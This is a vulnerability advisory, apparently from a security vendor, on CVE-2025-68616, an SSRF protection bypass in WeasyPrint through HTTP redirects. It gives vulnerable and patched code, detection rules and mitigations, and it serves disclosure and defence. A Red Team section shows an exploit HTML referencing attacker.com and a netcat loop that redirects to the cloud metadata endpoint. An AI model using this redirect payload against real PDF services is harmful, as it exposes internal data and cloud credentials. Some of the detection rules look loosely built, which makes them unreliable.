CVE-2025-68616
Executive Summary
CVE-2025-68616 is a Server-Side Request Forgery (SSRF) protection bypass vulnerability in WeasyPrint, a popular Python library for converting HTML/CSS to PDF. The flaw resides in the default_url_fetcher function. Even when a developer implements a custom url_fetcher to block access to internal resources (e.g., localhost, 169.254.169.254), the underlying urllib library automatically follows HTTP redirects without re-validating the new destination against the developer's security policy. This allows an attacker to craft a malicious HTML document that, when rendered by WeasyPrint, triggers a redirect to an internal service, bypassing the intended SSRF protection. The vulnerability has a CVSS score of 7.5 (High) and affects all versions prior to 68.0. No public proof-of-concept or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
WeasyPrint is a Python package distributed via PyPI. This vulnerability is a supply chain risk because any application that uses WeasyPrint to render user-supplied HTML is potentially affected. Developers must ensure they are using version 68.0 or later. The patch is available in the official PyPI repository.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over a network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Internal network resources (e.g., cloud metadata, local services) can be read.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability allows an attacker to probe and exfiltrate data from internal services, which can lead to further compromise.
Deep Dive & Mechanics
The core issue is a classic SSRF bypass via HTTP redirects. WeasyPrint's default_url_fetcher is designed to fetch resources (images, stylesheets, etc.) when rendering HTML. Developers can override this with a custom url_fetcher to implement security policies, such as blocking requests to private IP ranges.
However, the underlying urllib library (used by WeasyPrint) automatically follows HTTP 3xx redirect responses. When a custom url_fetcher is in place, it only validates the initial URL. If that URL is allowed (e.g., an external image host), but the server responds with a redirect to an internal IP (e.g., http://169.254.169.254/latest/meta-data/), the redirect is followed without re-checking the new destination against the custom fetcher's policy.
Attack Flow:
- Attacker crafts an HTML document with an
<img>tag pointing to an attacker-controlled server. - The attacker's server responds with an HTTP 302 redirect to an internal resource (e.g.,
http://127.0.0.1:8080/adminorhttp://169.254.169.254/latest/meta-data/). - WeasyPrint's
default_url_fetcherfollows the redirect, bypassing the custom fetcher's validation. - The internal resource's content is fetched and embedded into the PDF, which is then returned to the attacker.
Vulnerable vs. Patched Code
Vulnerable (pre-68.0):
The default_url_fetcher in WeasyPrint uses urllib.request.urlopen which automatically follows redirects. The custom fetcher is only called for the initial URL.
# Simplified vulnerable code
def default_url_fetcher(url, timeout=10, ssl_context=None):
# Custom fetcher logic is applied here, but only for the initial URL
if not custom_fetcher_allows(url):
raise Exception("Blocked")
# urllib follows redirects automatically
response = urllib.request.urlopen(url, timeout=timeout, context=ssl_context)
return response
Patched (68.0+): The patched version intercepts redirects and re-validates each new destination against the custom fetcher.
# Simplified patched code
def default_url_fetcher(url, timeout=10, ssl_context=None):
# Custom fetcher logic is applied here
if not custom_fetcher_allows(url):
raise Exception("Blocked")
# Use a custom opener that does not follow redirects automatically
opener = urllib.request.build_opener(NoRedirectHandler)
response = opener.open(url, timeout=timeout)
# If a redirect is received, validate the new URL
if response.status in (301, 302, 303, 307, 308):
new_url = response.headers['Location']
if not custom_fetcher_allows(new_url):
raise Exception("Blocked")
# Follow the redirect manually
response = urllib.request.urlopen(new_url, timeout=timeout, context=ssl_context)
return response
Exploitation & Lab Setup
Red Team
Lab Setup:
- Victim Machine: A server running WeasyPrint < 68.0 with a custom
url_fetcherthat blocks private IPs. - Attacker Machine: A server with a simple HTTP server that returns a 302 redirect.
- Internal Service: A service on the victim's network (e.g., a metadata endpoint or a local admin panel).
Exploitation Steps:
- Create an HTML file (
exploit.html) that references an external image:<!DOCTYPE html> <html> <body> <img src="http://attacker.com/redirect"> </body> </html> - On the attacker server, set up a listener that returns a 302 redirect to the internal target:
# Using netcat or a simple Python script while true; do echo -e "HTTP/1.1 302 Found\r\nLocation: http://169.254.169.254/latest/meta-data/\r\n\r\n" | nc -l -p 80; done - Send the HTML file to the victim application (e.g., via a web form that generates PDFs).
- The generated PDF will contain the content of the internal resource.
Blue Team
Detection:
- Monitor outbound HTTP requests from WeasyPrint processes. Look for requests to internal IPs (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
- Log and alert on any HTTP redirect chains that end at internal IPs.
- Use network segmentation to prevent WeasyPrint from reaching internal services.
Mitigation:
- Immediately upgrade to WeasyPrint 68.0 or later.
- If upgrade is not possible, implement a network-level firewall rule to block outbound traffic from the WeasyPrint process to private IP ranges.
- Use a reverse proxy or a dedicated URL validation library that does not follow redirects automatically.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from WeasyPrint to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1, 169.254.169.254).
- Logs: WeasyPrint logs showing
urllibrequests to private IPs after a redirect. - File: PDF files containing content from internal services (e.g., cloud metadata, local admin pages).
- Process: WeasyPrint process making unexpected connections to internal hosts.
Detection Engineering
YARA Rule
rule CVE_2025_68616_WeasyPrint_SSRF {
meta:
description = "Detects WeasyPrint PDF files that may contain SSRF-exfiltrated internal data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68616"
strings:
$meta_data = "169.254.169.254" nocase
$local_host = "127.0.0.1" nocase
$local_net = "10." nocase
$local_net2 = "192.168." nocase
$local_net3 = "172.16." nocase
condition:
any of them
}
Sigma Rule
title: WeasyPrint SSRF Bypass via Redirect
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects WeasyPrint processes making HTTP requests to internal IPs after a redirect
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/weasyprint'
CommandLine|contains: 'http://'
filter:
CommandLine|contains:
- 'http://127.0.0.1'
- 'http://10.'
- 'http://192.168.'
- 'http://172.16.'
- 'http://169.254.'
condition: selection and filter
falsepositives:
- Legitimate use of internal resources (should be rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68616 WeasyPrint SSRF Bypass - Redirect to Internal IP"; flow:to_server; content:"Location|3a|"; nocase; pcre:"/Location:\s*https?:\/\/(127\.0\.0\.1|10\.|192\.168\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.|169\.254\.)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade WeasyPrint to version 68.0 or later.
- Network: Implement egress filtering to block outbound traffic from WeasyPrint to private IP ranges.
- Code: If using a custom
url_fetcher, ensure it is applied to all URLs in the redirect chain. Consider using a library likerequestswithallow_redirects=Falseand manual validation. - Monitoring: Enable logging for all URL fetches and alert on any requests to internal IPs.
- Least Privilege: Run WeasyPrint in a container or sandbox with minimal network access.
Valters IT
DevSecOps & Cyber Threat Intelligence